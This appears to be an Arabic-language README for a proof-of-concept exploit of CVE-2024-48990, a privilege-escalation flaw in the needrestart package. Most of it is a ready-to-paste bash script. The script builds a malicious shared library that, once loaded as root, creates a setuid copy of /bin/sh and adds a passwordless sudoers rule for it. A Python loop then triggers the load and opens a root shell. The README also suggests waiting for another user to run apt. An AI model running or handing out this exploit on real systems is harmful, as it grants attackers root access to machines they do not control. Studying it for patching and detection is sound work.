
اختبار POC لحالات الاستخدام
يحتوي هذا المستودع على إثبات مفهوم (PoC) لإظهار ثغرة في برنامج needrestart، حيث يفشل في تعيين مسار Python بشكل صحيح، مما يؤدي إلى تصعيد محتمل للصلاحيات. يسلط إثبات المفهوم الضوء على مسار محتمل للحصول على صلاحيات مرتفعة من خلال استغلال هذه الثغرة.
تقع الثغرة CVE-2024-48990 داخل حزمة needrestart. وتحديدًا، فهي لا تضبط مسار Python بشكل صحيح، مما قد يُستغل لتصعيد الصلاحيات عند تشغيلها بواسطة إجراءات معينة.
يحاكي إثبات المفهوم هذا سيناريو يتم فيه تحميل مكتبة مشتركة خبيثة عبر Python للتلاعب بإعدادات النظام والحصول على صلاحيات مرتفعة. استخدمه في بيئة آمنة وخاضعة للتحكم لأغراض الاختبار فقط.
للتحقق مما إذا كنت عرضة للثغرة، شغّل:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
إذا كنت تريد نسخة قابلة للاستغلال للاختبار، فقط شغّل:
sudo apt install needrestart=3.7-3
لاستغلال الثغرة، نفّذ ما يلي أثناء تشغيل سكربت المستمع:
sudo apt remove ntp; sudo apt install ntp
يقوم هذا الأمر بتثبيت حزمة (ntp في هذه الحالة) مما يتسبب في إطلاق مشكلة needrestart؛ ومع ذلك، من الأفضل أن تنتظر مستخدمًا آخر على النظام لتنفيذ تحديث أو إجراء ما يستدعي needrestart مثل sudo apt update.
شغّل السكربت التالي لإعداد إثبات المفهوم واستغلال الثغرة. يمكنك نسخه ولصقه كاملًا كما هو في الطرفية والانتظار، أو تشغيله يدويًا كما هو موضح أعلاه مع ntp. كما أنه يضيف الثنائي إلى مسار sudo لجميع المستخدمين بغرض العرض التوضيحي — عمليًا يمكنك فقط جعله يضيف جميع مسارات sudo لمستخدمك، لكنني أردت إظهار الحالتين معًا:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
إذا كنت ترغب في تنظيف ملفات الاختبار وإزالة نفسك من sudoers، يمكنك تشغيل ما يلي من موجه بصلاحيات مرتفعة:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart مثبتة (أو إزالتها وإعادة تثبيتها لتشغيل الثغرة)إثبات المفهوم هذا لأغراض الاختبار فقط ولا ينبغي استخدامه في بيئة إنتاج. قد يكون استغلال هذه الثغرة في بيئات غير مصرح بها غير قانوني. احصل دائمًا على إذن صريح قبل إجراء أي اختبار أمني.
اختبار سعيد! 🧪🚀